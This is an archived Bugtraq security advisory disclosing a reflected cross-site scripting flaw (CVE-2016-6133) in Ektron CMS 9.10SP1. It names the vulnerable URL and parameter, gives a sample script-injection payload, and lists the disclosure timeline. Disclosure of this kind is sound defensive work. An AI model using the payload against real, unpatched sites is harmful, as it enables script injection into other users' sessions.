[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201706190600.v5J60rON000302@sf01web2.securityfocus.com>
Date: Mon, 19 Jun 2017 06:00:53 GMT
From: ghasseminia@...il.com
To: bugtraq@...urityfocus.com
Subject: Ektron Version 9.10SP1(Build 9.1.0.184) Cross Site Scripting
# Vulnerability type: Cross Site Scripting
# Vendor: Ektron
# Product: Ektron Content Management System
# Affected version: 9.10SP1(Build 9.1.0.184)
# Patched version: 9.1.0.184SP3(9.1.0.184.3.127)
# Credit: Siyavash Ghasseminia
# CVE ID: CVE-2016-6133
# PROOF OF CONCEPT
Vulnerable URL:
/WorkArea/SelectUserGroup.aspx?action=Report&rptStatus
# VULNERABLE PARAMETERS:
- rptStatus
# SAMPLE PAYLOAD
- </script><script>alert(0x0004EA)</script>
# TIMELINE
- 1/7/2016: Vulnerability found
- 4/7/2016: Vendor informed
- 13/7/2016: Vendor responded and acknowledged
- 29/7/2016: Vendor fixed the issue
- 19/6/2017: Public disclosure
Powered by blists - more mailing lists